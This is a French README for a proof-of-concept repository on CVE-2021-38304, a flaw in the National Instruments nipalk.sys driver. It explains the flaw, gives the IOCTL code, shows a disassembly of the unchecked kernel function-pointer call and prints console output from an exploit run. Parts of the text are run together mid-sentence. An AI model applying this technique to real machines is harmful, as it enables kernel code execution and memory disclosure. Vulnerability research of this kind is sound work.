
CVE-2021-38304 Preuve de concept
Ce dépôt contient une preuve de concept pour une vulnérabilité de sécurité critique dans les anciennes versions du pilote National Instruments nipalk.sys. La vulnérabilité permet l'exécution de code arbitraire et la divulgation de mémoire en mode noyau. Elle est destinée uniquement à la recherche personnelle.
Le pilote nipalk.sys gère incorrectement les pointeurs fournis par l'utilisateur lors du traitement d'une requête IOCTL spécifique. Cette faille permet à un attaquant de fournir un pointeur de fonction que le pilote appellera en contexte noyau avec des paramètres contrôlés.
RCX et RDX pendant l'appel de fonction.RtlCopyMemory, un attaquant peut lire de la mémoire noyau arbitraire.La vulnérabilité provient du fait que le pilote ne valide pas les pointeurs fournis par les applications en mode utilisateur. Lors du traitement de l'IOCTL 0xABCD03C4, le pilote récupère un pointeur de fonction à partir d'une structure contrôlée par l'utilisateur et l'invoque sans vérifications appropriées:
0045561e 48 8b 01 MOV RAX,qword ptr [param_1]
00455621 49 8b 52 18 MOV irp,qword ptr [R10 + 0x18]
00455625 ff 50 08 CALL qword ptr [RAX + 0x8]
[RAX + 8] est exécuté en contexte noyau.RCX et RDX sont contrôlés par l'utilisateur.[+] Starting exploit
[+] Memory allocated
[+] Values before IOCTL:
exploit->dummy: 00000000001b0000
exploit->function_pointer: fffff8017ea21300
[+] Device opened successfully
[+] Sending IOCTL
[+] Values after IOCTL:
exploit->dummy: 7208f88349c18b48
exploit->function_pointer: ffff7710f8834937
[+] DeviceIoControl succeeded. Bytes returned: 8
[+] Buffer Output: 1769472
[!] WARNING: exploit->dummy has changed!
[!] WARNING: exploit->function_pointer has changed!
[+] Exploit finished
Cette preuve de concept est destinée uniquement à des fins éducatives.